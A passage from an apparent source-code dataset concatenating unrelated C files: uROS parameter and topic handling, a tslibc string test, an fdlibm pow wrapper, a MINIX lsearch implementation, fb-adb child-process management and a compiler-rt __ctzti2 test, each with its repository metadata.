urosMutexLock(&np->status.subParamListLock); paramnodep = urosStringListFindByName(&np->status.subParamList, namep); urosMutexUnlock(&np->status.subParamListLock); urosError(paramnodep != NULL, return UROS_ERR_BADPARAM, ("Parameter [%.*s] already subscribed\n", UROS_STRARG(namep))); /* Create the storage data in advance.*/ clonednamep = urosNew(NULL, UrosString); if (clonednamep == NULL) { return UROS_ERR_NOMEM; } *clonednamep = urosStringClone(namep); nodep = urosNew(NULL, UrosListNode); if (clonednamep->datap == NULL || nodep == NULL) { urosStringDelete(clonednamep); urosFree(nodep); return UROS_ERR_NOMEM; } /* Subscribe to the topic.*/ urosRpcResponseObjectInit(&res); urosMutexLock(&np->status.subParamListLock); /* Master XMLRPC registerSubscriber() */ err = urosRpcCallSubscribeParam( &np->config.masterAddr, &np->config.nodeName, &np->config.xmlrpcUri, namep, &res ); urosError(err != UROS_OK, goto _finally, ("Error %s while subscribing to parameter [%.*s]\n", urosErrorText(err), UROS_STRARG(namep))); /* Check for valid codes.*/ urosError(res.code != UROS_RPCC_SUCCESS, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Response code %d, expected %d\n", res.code, UROS_RPCC_SUCCESS)); urosError(res.httpcode != 200, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Response HTTP code %d, expected 200\n", res.httpcode)); /* Add to the subscribed parameter list.*/ urosListNodeObjectInit(nodep); nodep->datap = (void*)clonednamep; urosListAdd(&np->status.subParamList, nodep); /* Update to the current value.*/ urosUserParamUpdate(namep, res.valuep); err = UROS_OK; _finally: /* Cleanup and return.*/ urosMutexUnlock(&np->status.subParamListLock); urosRpcResponseClean(&res); return err; } /** * @brief Subscribes to a parameter. * @details Issues a @p subscribeParam() call to the XMLRPC Master, and * connects to known publishers. * @see urosRpcCallSubscribeParam() * @see urosNodeSubscribeParamByDesc() * @warning The access to the parameter registry is thread-safe, but delays of * the XMLRPC communication will delay also any other threads trying * to subscribe/unsubscribe to any parameters. * * @pre The parameter has not been registered yet. * * @param[in] namep * Pointer to the parameter name null-terminated string. * @return * Error code. */ uros_err_t urosNodeSubscribeParamSZ(const char *namep) { UrosString namestr; urosAssert(namep != NULL); urosAssert(namep[0] != 0); namestr = urosStringAssignZ(namep); return urosNodeSubscribeParam(&namestr); } /** * @brief Subscribes to a parameter. * @details Issues an @p unsubscribeParam() call to the XMLRPC Master, and * connects to known publishers. * @see urosRpcCallUnubscribeParam() * @warning The access to the parameter registry is thread-safe, but delays of * the XMLRPC communication will delay also any other threads trying * to subscribe/unsubscribe to any parameters. * * @pre The parameter has been registered. * @post If successful, the parameter descriptor is unreferenced and deleted * by the parameter registry. * * @param[in] namep * Pointer to a string which names the parameter to be unregistered. * @return * Error code. */ uros_err_t urosNodeUnsubscribeParam(const UrosString *namep) { static UrosNode *const np = &urosNode; UrosRpcResponse res; uros_err_t err; UrosListNode *nodep; urosAssert(urosStringNotEmpty(namep)); urosRpcResponseObjectInit(&res); urosMutexLock(&np->status.subParamListLock); /* Check if the parameter was actually subscribed.*/ nodep = urosStringListFindByName(&np->status.subParamList, namep); urosError(nodep == NULL, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Parameter [%.*s] not found\n", UROS_STRARG(namep))); /* Master XMLRPC registerSubscriber() */ err = urosRpcCallUnsubscribeParam( &np->config.masterAddr, &np->config.nodeName, &np->config.xmlrpcUri, namep, &res ); urosError(err != UROS_OK, goto _finally, ("Cannot unsubscribe from param [%.*s]\n", UROS_STRARG(namep))); /* Check for valid codes.*/ urosError(res.code != UROS_RPCC_SUCCESS, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Response code %ld, expected %d\n", (long int)res.code, UROS_RPCC_SUCCESS)); urosError(res.httpcode != 200, { err = UROS_ERR_BADPARAM; goto _finally; }, ("Response HTTP code %ld, expected 200\n", (long int)res.httpcode)); /* Remove from the subscribed parameter list and delete.*/ nodep = urosListRemove(&np->status.subParamList, nodep); urosAssert(nodep != NULL); urosListNodeDelete(nodep, (uros_delete_f)urosStringDelete); err = UROS_OK; _finally: /* Cleanup and return.*/ urosMutexUnlock(&np->status.subParamListLock); urosRpcResponseClean(&res); return err; } /** * @brief Subscribes to a parameter. * @details Issues an @p unsubscribeParam() call to the XMLRPC Master, and * connects to known publishers. * @see urosRpcCallUnubscribeParam() * @warning The access to the parameter registry is thread-safe, but delays of * the XMLRPC communication will delay also any other threads trying * to subscribe/unsubscribe to any parameters. * * @pre The parameter has been registered. * @post If successful, the parameter descriptor is unreferenced and deleted * by the parameter registry. * * @param[in] namep * Pointer to a null-terminated string which names the parameter to be * unregistered. * @return * Error code. */ uros_err_t urosNodeUnsubscribeParamSZ(const char *namep) { UrosString namestr; urosAssert(namep != NULL); urosAssert(namep[0] != 0); namestr = urosStringAssignZ(namep); return urosNodeUnsubscribeParam(&namestr); } /** * @brief Find new publishers for a given topic. * @details Scans through the provided publishers list to look for any new * publishers. * * @param[in] namep * Pointer to a non-empty string which names the targeted topic. * @param[in] publishersp * Pointer to an @p UrosRpcParam with @p UROS_RPCP_ARRAY pclass. * It contains the list of current publishers, received for example * through a XMLRPC call to @p subscribeTopic(). Each publisher is * addressed by its URI. * @param[out] newpubsp * Pointer to an empty list which will be populated by the newly * discovered publishers, if any. * @return * Error code. */ uros_err_t urosNodeFindNewTopicPublishers(const UrosString *namep, const UrosRpcParam *publishersp, UrosList *newpubsp) { static UrosNode *const np = &urosNode; uros_err_t err; const UrosListNode *tcpnodep; const UrosRpcParamNode *paramnodep; const UrosTcpRosStatus *tcpstp, *tcpfoundp; const UrosString *urip; UrosAddr pubaddr; (void)err; urosAssert(urosStringNotEmpty(namep)); urosAssert(publishersp != NULL); urosAssert(publishersp->pclass == UROS_RPCP_ARRAY); urosAssert(publishersp->value.listp != NULL); urosAssert(urosListIsValid(newpubsp)); urosAssert(newpubsp->length == 0); /* Build a list of newly discovered publishers.*/ urosMutexLock(&np->status.subTcpListLock); for (paramnodep = publishersp->value.listp->headp; paramnodep != NULL; paramnodep = paramnodep->nextp) { urip = &paramnodep->param.value.string; err = urosUriToAddr(urip, &pubaddr); urosAssert(err == UROS_OK); tcpfoundp = NULL; for (tcpnodep = np->status.subTcpList.headp; tcpnodep != NULL; tcpnodep = tcpnodep->nextp) { tcpstp = (const UrosTcpRosStatus *)tcpnodep->datap; if (tcpstp->topicp->flags.service == UROS_FALSE) { urosAssert(tcpstp->topicp != NULL); if (0 == urosStringCmp(&tcpstp->topicp->name, namep)) { urosAssert(tcpstp->csp != NULL); if (tcpstp->csp->remaddr.ip.dword == pubaddr.ip.dword && tcpstp->csp->remaddr.port == pubaddr.port) { tcpfoundp = tcpstp; } } } } if (tcpfoundp == NULL) { UrosAddr *addrp; UrosListNode *nodep; /* New publisher.*/ addrp = urosNew(NULL, UrosAddr); if (addrp == NULL) { urosMutexUnlock(&np->status.subTcpListLock); return UROS_ERR_NOMEM; } nodep = urosNew(NULL, UrosListNode); if (nodep == NULL) { urosFree(addrp); urosMutexUnlock(&np->status.subTcpListLock); return UROS_ERR_NOMEM; } *addrp = pubaddr; nodep->datap = addrp; nodep->nextp = NULL; urosListAdd(newpubsp, nodep); } } urosMutexUnlock(&np->status.subTcpListLock); return UROS_OK; } /** * @brief Gets the TCPROS URI of a topic publisher. * @details Requests the TCPROS URI of a topic published by a node. * * @param[in] apiaddrp * XMLRPC API address of the target node. * @param[in] namep * Pointer to the topic name string. * @param[out] tcprosaddrp * Pointer to an allocated @p UrosAddr descriptor, which will hold the * TCPROS API address of the requested topic provider. * @return * Error code. */ uros_err_t urosNodeResolveTopicPublisher(const UrosAddr *apiaddrp, const UrosString *namep, UrosAddr *tcprosaddrp) { static const UrosRpcParamNode tcprosnode = { { UROS_RPCP_STRING, {{ 6, "TCPROS" }} }, NULL }; static const UrosRpcParamList tcproslist = { (UrosRpcParamNode*)&tcprosnode, (UrosRpcParamNode*)&tcprosnode, 1 }; static const UrosRpcParamNode protonode = { { UROS_RPCP_ARRAY, {{ (size_t)&tcproslist, NULL }} }, NULL }; static const UrosRpcParamList protolist = { (UrosRpcParamNode*)&protonode, (UrosRpcParamNode*)&protonode, 1 }; uros_err_t err; UrosRpcParamNode *nodep; UrosRpcParam *paramp; UrosRpcResponse res; urosAssert(apiaddrp != NULL); urosAssert(urosStringNotEmpty(namep)); urosAssert(tcprosaddrp != NULL); #define _ERR { err = UROS_ERR_BADPARAM; goto _finally; } /* Request the topic to the publisher.*/ urosRpcResponseObjectInit(&res); err = urosRpcCallRequestTopic( apiaddrp, &urosNode.config.nodeName, namep, &protolist, &res ); /* Check for valid values.*/ if (err != UROS_OK) { goto _finally; } urosError(res.httpcode != 200, _ERR, ("The HTTP response code is %lu, expected 200\n", (long unsigned int)res.httpcode)); if (res.code != UROS_RPCC_SUCCESS) { _ERR } urosError(res.valuep->pclass != UROS_RPCP_ARRAY, _ERR, ("Response value pclass is %d, expected %d (UROS_RPCP_ARRAY)\n", (int)res.valuep->pclass, (int)UROS_RPCP_ARRAY)); urosAssert(res.valuep->value.listp != NULL); urosError(res.valuep->value.listp->length != 3, _ERR, ("Response value array length %lu, expected 3", (long unsigned int)res.valuep->value.listp->length)); nodep = res.valuep->value.listp->headp; /* Check the protocol string.*/ paramp = &nodep->param; nodep = nodep->nextp; urosError(paramp->pclass != UROS_RPCP_STRING, _ERR, ("Response value pclass is %d, expected %d (UROS_RPCP_STRING)\n", (int)paramp->pclass, (int)UROS_RPCP_STRING)); urosError(0 != urosStringCmp(&tcprosnode.param.value.string, &paramp->value.string), _ERR, ("Response protocol is [%.*s], expected [TCPROS]\n", UROS_STRARG(&tcprosnode.param.value.string))); /* Check the node hostname string.*/ paramp = &nodep->param; nodep = nodep->nextp; urosError(paramp->pclass != UROS_RPCP_STRING, _ERR, ("Response value pclass is %d, expected %d (UROS_RPCP_STRING)\n", (int)paramp->pclass, (int)UROS_RPCP_STRING)); err = urosHostnameToIp(&paramp->value.string, &tcprosaddrp->ip); urosError(err != UROS_OK, goto _finally, ("Cannot resolve hostname [%.*s]", UROS_STRARG(&paramp->value.string))); /* Check the node port number.*/ paramp = &nodep->param; urosError(paramp->pclass != UROS_RPCP_INT, _ERR, ("Response value pclass is %d, expected %d (UROS_RPCP_INT)\n", (int)paramp->pclass, (int)UROS_RPCP_INT)); urosError(paramp->value.int32 < 0 || paramp->value.int32 > 65535, _ERR, ("Port number %ld outside range\n", (long int)paramp->value.int32)); tcprosaddrp->port = (uint16_t)paramp->value.int32; err = UROS_OK; _finally: urosRpcResponseClean(&res); return err; #undef _ERR } /** * @brief Gets the TCPROS URI of a service publisher. * @details Requests the TCPROS URI of a service published by a node. * * @param[in] namep * Pointer to the topic name string. * @param[out] pubaddrp * Pointer to an allocated @p UrosAddr descriptor, which will hold the * TCPROS API address of the requested service provider. * @return * Error code. */ uros_err_t urosNodeResolveServicePublisher(const UrosString *namep, UrosAddr *pubaddrp) { static const UrosNodeConfig *const cfgp = &urosNode.config; uros_err_t err; UrosRpcResponse res; UrosString *uristrp; urosAssert(urosStringNotEmpty(namep)); urosAssert(pubaddrp != NULL); #define _ERR { err = UROS_ERR_BADPARAM; goto _finally; } /* Lookup the service URI.*/ urosRpcResponseObjectInit(&res); err = urosRpcCallLookupService( &cfgp->masterAddr, &cfgp->nodeName, namep, &res ); /* Check for valid values.*/ if (err != UROS_OK) { goto _finally; } urosError(res.httpcode != 200, _ERR, ("The HTTP response code is %lu, expected 200\n", (long unsigned int)res.httpcode)); urosError(res.code != UROS_RPCC_SUCCESS, _ERR, ("Cannot find a provider for service [%.*s]\n", UROS_STRARG(namep))); urosError(res.valuep->pclass != UROS_RPCP_STRING, _ERR, ("Response value pclass is %d, expected %d (UROS_RPCP_STRING)\n", (int)res.valuep->pclass, (int)UROS_RPCP_STRING)); uristrp = &res.valuep->value.string; res.valuep->value.string = urosStringAssignZ(NULL); urosRpcResponseClean(&res); urosAssert(urosStringIsValid(uristrp)); urosError(uristrp->length == 0, _ERR, ("Service URI string is empty\n")); /* Resolve the service address.*/ err = urosUriToAddr(uristrp, pubaddrp); _finally: urosRpcResponseClean(&res); return err; #undef _ERR } /** @} */
yukkysaito/uros_velodyne
src/urosNode.c
C
bsd-2-clause
70,678
/* Copyright (c) 2013, Anthony Cornehl * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "check/twinshadow.h" #include "twinshadow/string.h" char *buf_strstrip; START_TEST(strstrip_removes_preceding_and_trailing_whitespace) { ts_strstrip(buf_strstrip); ck_assert_str_eq(buf_strstrip, "one two three"); } END_TEST void setup_strstrip_test(void) { buf_strstrip = strdup(" one two three "); } void teardown_strstrip_test(void) { free(buf_strstrip); } TCase * tcase_strstrip(void) { TCase *tc = tcase_create("strstrip"); tcase_add_checked_fixture(tc, setup_strstrip_test, teardown_strstrip_test); tcase_add_test(tc, strstrip_removes_preceding_and_trailing_whitespace); return tc; } CHECK_MAIN_STANDALONE(strstrip);
twinshadow/tslibc
src/string/check_strstrip.c
C
bsd-2-clause
2,026
/* * Copyright (c) 2006, 2006, Oracle and/or its affiliates. All rights reserved. * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms. */ /* * wrapper pow(x,y) return x**y */ #include "fdlibm.h" #ifdef __STDC__ double pow(double x, double y) /* wrapper pow */ #else double pow(x,y) /* wrapper pow */ double x,y; #endif { #ifdef _IEEE_LIBM return __ieee754_pow(x,y); #else double z; z=__ieee754_pow(x,y); if(_LIB_VERSION == _IEEE_|| isnan(y)) return z; if(isnan(x)) { if(y==0.0) return __kernel_standard(x,y,42); /* pow(NaN,0.0) */ else return z; } if(x==0.0){ if(y==0.0) return __kernel_standard(x,y,20); /* pow(0.0,0.0) */ if(finite(y)&&y<0.0) return __kernel_standard(x,y,23); /* pow(0.0,negative) */ return z; } if(!finite(z)) { if(finite(x)&&finite(y)) { if(isnan(z)) return __kernel_standard(x,y,24); /* pow neg**non-int */ else return __kernel_standard(x,y,21); /* pow overflow */ } } if(z==0.0&&finite(x)&&finite(y)) return __kernel_standard(x,y,22); /* pow underflow */ return z; #endif }
SnakeDoc/GuestVM
guestvm~guestvm/com.oracle.max.ve.native/fdlibm/w_pow.c
C
bsd-3-clause
1,152
#include <lib.h> #include <string.h> /* lsearch(3) and lfind(3) * * Author: Terrence W. Holm Sep. 1988 */ #include <stddef.h> char *lsearch(key, base, count, width, keycmp) char *key; char *base; unsigned *count; unsigned width; _PROTOTYPE( int (*keycmp), (const void *, const void *)); { char *entry; char *last = base + *count * width; for (entry = base; entry < last; entry += width) if (keycmp(key, entry) == 0) return(entry); bcopy(key, last, width); *count += 1; return(last); } char *lfind(key, base, count, width, keycmp) char *key; char *base; unsigned *count; unsigned width; _PROTOTYPE( int (*keycmp), (const void *, const void *)); { char *entry; char *last = base + *count * width; for (entry = base; entry < last; entry += width) if (keycmp(key, entry) == 0) return(entry); return((char *)NULL); }
macminix/MacMinix
src/lib/other/lsearch.c
C
bsd-3-clause
858
/* * Copyright (c) 2014, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in * the LICENSE file in the root directory of this source tree. An * additional grant of patent rights can be found in the PATENTS file * in the same directory. * */ #include <errno.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <stdio.h> #include <string.h> #include <signal.h> #include <unistd.h> #include <stdint.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/types.h> #include <assert.h> #include <limits.h> #include "child.h" #include "net.h" extern char** environ; struct internal_child_info { int flags; const struct child_start_info* csi; int* childfd; int pty_slave; }; __attribute__((noreturn)) static void child_child_1(void* arg) { struct internal_child_info* ci = arg; /* Resets O_CLOEXEC */ for (int i = 0; i < 3; ++i) xdup3nc(ci->childfd[i], i, 0); if (ci->csi->child_chdir && chdir(ci->csi->child_chdir) == -1) die_errno("chdir"); if (ci->flags & CHILD_SETSID) if (setsid() == (pid_t) -1) die_errno("setsid"); if (ci->pty_slave != -1) { if (ioctl(ci->pty_slave, TIOCSCTTY, 0) == -1) die_errno("TIOCSCTTY"); if (tcsetpgrp(ci->pty_slave, getpid()) == -1) die_errno("tcsetpgrp"); } for (int i = 0; i < NSIG; ++i) signal(i, SIG_DFL); sigset_t no_signals; VERIFY(sigemptyset(&no_signals) == 0); VERIFY(sigprocmask(SIG_SETMASK, &no_signals, NULL) == 0); if (ci->csi->pre_exec) ci->csi->pre_exec(ci->csi->pre_exec_data); xexecvpe(ci->csi->exename, ci->csi->argv, ci->csi->environ ?: (const char* const*) environ); } __attribute__((noreturn)) static void child_child(struct internal_child_info* ci) { struct errinfo ei = { 0 }; ei.want_msg = true; if (!catch_error(child_child_1, ci, &ei)) abort(); fprintf(stderr, "%s: %s\n", ei.prgname, ei.msg); fflush(stderr); _exit(127); // Do not allow errors to propagate further } static void child_cleanup(void* arg) { struct child* child = arg; if (!child->dead) { if (child->pty_master == NULL) { int sig = child->deathsig ?: SIGTERM; pid_t child_pid = child->pid; if (sig < 0) { /* Send to process group instead */ sig = -sig; child_pid = -child_pid; } (void) kill(child_pid, sig); } else { /* In the pty case, the system's automatic SIGHUP should * take care of the killing. */ fdh_destroy(child->pty_master); } if (!child->skip_cleanup_wait && !signal_quit_in_progress) child_wait(child); } } struct child* child_start(const struct child_start_info* csi) { struct child* child = xcalloc(sizeof (*child)); struct cleanup* cl_waiter = cleanup_allocate(); SCOPED_RESLIST(rl); int flags = csi->flags; int pty_master = -1; int pty_slave = -1; if (flags & (CHILD_PTY_STDIN | CHILD_PTY_STDOUT | CHILD_PTY_STDERR | CHILD_CTTY)) { flags |= (CHILD_CTTY | CHILD_SETSID); } if (flags & CHILD_CTTY) { pty_master = xopen("/dev/ptmx", O_RDWR | O_NOCTTY | O_CLOEXEC, 0); if (grantpt(pty_master) || unlockpt(pty_master)) die_errno("grantpt/unlockpt"); #ifdef HAVE_PTSNAME // Yes, yes, ptsname is not thread-safe. We're // single-threaded. char* pty_slave_name = xstrdup(ptsname(pty_master)); #else int pty_slave_num; if (ioctl(pty_master, TIOCGPTN, &pty_slave_num) != 0) die_errno("TIOCGPTN"); char* pty_slave_name = xaprintf("/dev/pts/%d", pty_slave_num); #endif pty_slave = xopen(pty_slave_name, O_RDWR | O_NOCTTY | O_CLOEXEC, 0); if (csi->pty_setup) csi->pty_setup(pty_master, pty_slave, csi->pty_setup_data); } int childfd[3]; int parentfd[3]; if (flags & CHILD_SOCKETPAIR_STDIO) { flags &= ~(CHILD_PTY_STDIN | CHILD_PTY_STDOUT); xsocketpair(AF_UNIX, SOCK_STREAM, 0, &childfd[0], &parentfd[0]); childfd[1] = xdup(childfd[0]); parentfd[1] = xdup(parentfd[0]); } else { if (flags & CHILD_PTY_STDIN) { childfd[0] = xdup(pty_slave); parentfd[0] = xdup(pty_master); } else if (flags & CHILD_NULL_STDIN) { childfd[0] = xopen("/dev/null", O_RDONLY, 0); parentfd[0] = xopen("/dev/null", O_WRONLY, 0); } else { xpipe(&childfd[0], &parentfd[0]); } if (flags & CHILD_PTY_STDOUT) { childfd[1] = xdup(pty_slave); parentfd[1] = xdup(pty_master); } else if (flags & CHILD_NULL_STDOUT) { childfd[1] = xopen("/dev/null", O_WRONLY, 0); parentfd[1] = xopen("/dev/null", O_RDONLY, 0); } else { xpipe(&parentfd[1], &childfd[1]); } } // If child has a pty for both stdout and stderr, from our POV, it // writes only to stdout. if ((flags & CHILD_PTY_STDERR) && (flags & CHILD_PTY_STDOUT)) flags |= CHILD_MERGE_STDERR; if (flags & CHILD_MERGE_STDERR) { childfd[2] = xdup(childfd[1]); parentfd[2] = xopen("/dev/null", O_RDONLY, 0); } else if (flags & CHILD_PTY_STDERR) { childfd[2] = xdup(pty_slave); parentfd[2] = xdup(pty_master); } else if (flags & CHILD_INHERIT_STDERR) { childfd[2] = xdup(2); } else if (flags & CHILD_NULL_STDERR) { childfd[2] = xopen("/dev/null", O_WRONLY, 0); parentfd[2] = xopen("/dev/null", O_RDONLY, 0); } else { xpipe(&parentfd[2], &childfd[2]); } WITH_CURRENT_RESLIST(rl->parent); child->flags = flags; child->deathsig = csi->deathsig; if (pty_master != -1) child->pty_master = fdh_dup(pty_master); child->fd[0] = fdh_dup(parentfd[0]); child->fd[1] = fdh_dup(parentfd[1]); if ((flags & CHILD_INHERIT_STDERR) == 0) child->fd[2] = fdh_dup(parentfd[2]); // We need to block all signals until the child calls signal(2) to // reset its signal handlers to the default. If we didn't, the // child could run handlers we didn't expect. sigset_t all_blocked; sigset_t prev_blocked; VERIFY(sigfillset(&all_blocked) == 0); VERIFY(sigprocmask(SIG_SETMASK, &all_blocked, &prev_blocked) == 0); pid_t child_pid = fork(); if (child_pid == 0) { struct internal_child_info ci = { .flags = flags, .csi = csi, .pty_slave = pty_slave, .childfd = childfd, }; child_child(&ci); // Never returns } VERIFY(sigprocmask(SIG_SETMASK, &prev_blocked, NULL) == 0); if (child_pid == -1) die_errno("fork"); child->pid = child_pid; cleanup_commit(cl_waiter, child_cleanup, child); return child; } bool child_poll_death(struct child* child) { if (!child->dead) { int ret = waitpid(child->pid, &child->status, WNOHANG); if (ret < 0) die_errno("waitpid"); if (ret > 0) child->dead = true; } return child->dead; } int child_wait(struct child* child) { int ret; // N.B. THE COMMENTED CODE BELOW IS WRONG. // // do { // WITH_IO_SIGNALS_ALLOWED(); // ret = waitpid(child->pid, &child->status, 0); // } while (ret < 0 && errno == EINTR); // // It looks correct, doesn't it? // // Consider what happens if we get a fatal signal, say SIGINT, // immediately after a successful return from waitpid() and // before we restore the signal mask that blocks SIGINT. // SIGINT runs the global cleanup handlers, one of which calls // kill() on our subprocess's PID. (Normally, the assignment // to child->dead below prevents our calling kill().) When // waitpid() completes successfully, the kernel frees the // process table entry for the process waited on. Between the // waitpid() return and our call to kill(), another process // can move into that process table slot, resulting in our // subsequent kill() going to wrong process and killing an // innocent program. // // Instead, we first block SIGCHLD (in addition to signals like // SIGINT), then, _WITHOUT_ unblocking signals, call waitpid(..., // WNOHANG). If that succeeds, our child is dead and we remember // its status. If waitpid() indicates that our child is still // running, we then wait for signals; when the child dies, we loop // around and call waitpid() again. That waitpid() might fail if // a different child died, or if we got a non-SIGCHLD signal, but // eventually our child will die, waitpid() will succeed, and // we'll exit the loop. // sigset_t block_during_poll; if (!child->dead) { sigemptyset(&block_during_poll); for (int i = 1; i < NSIG; ++i) if (!sigismember(&signals_unblock_for_io, i)) sigaddset(&block_during_poll, i); sigdelset(&block_during_poll, SIGCHLD); } while (!child->dead) { ret = waitpid(child->pid, &child->status, WNOHANG); if (ret < 0) { // waitpid will fail if child->pid isn't really our child; // that means we have a bug somewhere, since it should be // a zombie until we wait for it. die_errno("waitpid(%u)", (unsigned) child->pid); } if (ret > 0) { child->dead = true; } else { sigsuspend(&block_during_poll); } } return child->status; } void child_kill(struct child* child, int signo) { if (!child->dead && kill(child->pid, signo) == -1) die_errno("kill"); } static bool any_poll_active_p(const struct pollfd* p, size_t n) { for (size_t i = 0; i < n; ++i) if (p[i].fd != -1) return true; return false; } struct child_communication* child_communicate( struct child* child, const void* data_for_child_in, size_t data_for_child_size) { const uint8_t* data_for_child = data_for_child_in; size_t bytes_consumed = 0; size_t chunk_size = 512; struct pollfd p[ARRAYSIZE(child->fd)]; memset(&p, 0, sizeof (p)); struct { struct cleanup* cl; uint8_t* buf; size_t pos; size_t sz; } ob[ARRAYSIZE(child->fd)-1]; memset(&ob, 0, sizeof (ob)); for (int i = 0; i < ARRAYSIZE(p); ++i) { int fd = child->fd[i]->fd; fd_set_blocking_mode(fd, non_blocking); p[i].fd = fd; p[i].events = (i == 0) ? POLLIN : POLLOUT; } for (;;) { if (p[0].fd != -1) { size_t nr_to_write = data_for_child_size - bytes_consumed; if (nr_to_write > 0) { ssize_t nr_written = write(p[0].fd, data_for_child + bytes_consumed, XMIN(nr_to_write, (size_t) SSIZE_MAX)); if (nr_written == -1 && !error_temporary_p(errno)) die_errno("write[child]"); bytes_consumed += XMAX(nr_written, 0); } if (bytes_consumed == data_for_child_size) { fdh_destroy(child->fd[0]); p[0].fd = -1; } } for (size_t i = 0; i < ARRAYSIZE(ob); ++i) { int fd = p[i+1].fd; if (fd == -1) continue; if (ob[i].pos == ob[i].sz) { struct cleanup* newcl = cleanup_allocate(); size_t newsz; if (SATADD(&newsz, ob[i].sz, chunk_size)) die(ERANGE, "too many bytes from child"); void* newbuf = realloc(ob[i].buf, newsz); if (newbuf == NULL) die(ENOMEM, "could not allocate iobuf"); cleanup_commit(newcl, free, newbuf); cleanup_forget(ob[i].cl); ob[i].cl = newcl; ob[i].buf = newbuf; ob[i].sz = newsz; } size_t to_read = ob[i].sz - ob[i].pos; ssize_t nr_read = read(fd, ob[i].buf + ob[i].pos, to_read); if (nr_read == -1 && !error_temporary_p(errno)) die_errno("read[child:%d]", fd); ob[i].pos += XMAX(0, nr_read); if (nr_read == 0) { fdh_destroy(child->fd[i+1]); p[i+1].fd = -1; } } if (!any_poll_active_p(p, ARRAYSIZE(p))) break; int rc; { WITH_IO_SIGNALS_ALLOWED(); rc = poll(p, ARRAYSIZE(p), -1); } if (rc == -1 && errno != EINTR) die_errno("poll"); } struct child_communication* com = xcalloc(sizeof (*com)); com->status = child_wait(child); com->bytes_consumed = bytes_consumed; for (size_t i = 0; i < ARRAYSIZE(ob); ++i) { com->out[i].bytes = ob[i].buf; com->out[i].nr = ob[i].pos; } return com; } bool child_status_success_p(int status) { return WIFEXITED(status) && WEXITSTATUS(status) == 0; }
dalinaum/fb-adb
child.c
C
bsd-3-clause
13,390
// RUN: %clang_builtins %s %librt -o %t && %run %t //===-- ctzti2_test.c - Test __ctzti2 -------------------------------------===// // // The LLVM Compiler Infrastructure // // This file is dual licensed under the MIT and the University of Illinois Open // Source Licenses. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file tests __ctzti2 for the compiler_rt library. // //===----------------------------------------------------------------------===// #include "int_lib.h" #include <stdio.h> #ifdef CRT_HAS_128BIT // Returns: the number of trailing 0-bits // Precondition: a != 0 COMPILER_RT_ABI si_int __ctzti2(ti_int a); int test__ctzti2(ti_int a, si_int expected) { si_int x = __ctzti2(a); if (x != expected) { twords at; at.all = a; printf("error in __ctzti2(0x%llX%.16llX) = %d, expected %d\n", at.s.high, at.s.low, x, expected); } return x != expected; } char assumption_1[sizeof(ti_int) == 2*sizeof(di_int)] = {0}; #endif int main() { #ifdef CRT_HAS_128BIT if (test__ctzti2(0x00000001, 0)) return 1; if (test__ctzti2(0x00000002, 1)) return 1; if (test__ctzti2(0x00000003, 0)) return 1; if (test__ctzti2(0x00000004, 2)) return 1; if (test__ctzti2(0x00000005, 0)) return 1; if (test__ctzti2(0x0000000A, 1)) return 1; if (test__ctzti2(0x10000000, 28)) return 1; if (test__ctzti2(0x20000000, 29)) return 1; if (test__ctzti2(0x60000000, 29)) return 1; if (test__ctzti2(0x80000000uLL, 31)) return 1; if (test__ctzti2(0x0000050000000000uLL, 40)) return 1; if (test__ctzti2(0x0200080000000000uLL, 43)) return 1; if (test__ctzti2(0x7200000000000000uLL, 57)) return 1; if (test__ctzti2(0x8000000000000000uLL, 63)) return 1; if (test__ctzti2(make_ti(0x00000000A0000000LL, 0x0000000000000000LL), 93)) return 1; if (test__ctzti2(make_ti(0xF000000000000000LL, 0x0000000000000000LL), 124)) return 1; if (test__ctzti2(make_ti(0x8000000000000000LL, 0x0000000000000000LL), 127)) return 1; #else printf("skipped\n"); #endif return 0; }
youtube/cobalt
third_party/llvm-project/compiler-rt/test/builtins/Unit/ctzti2_test.c
C
bsd-3-clause
2,303
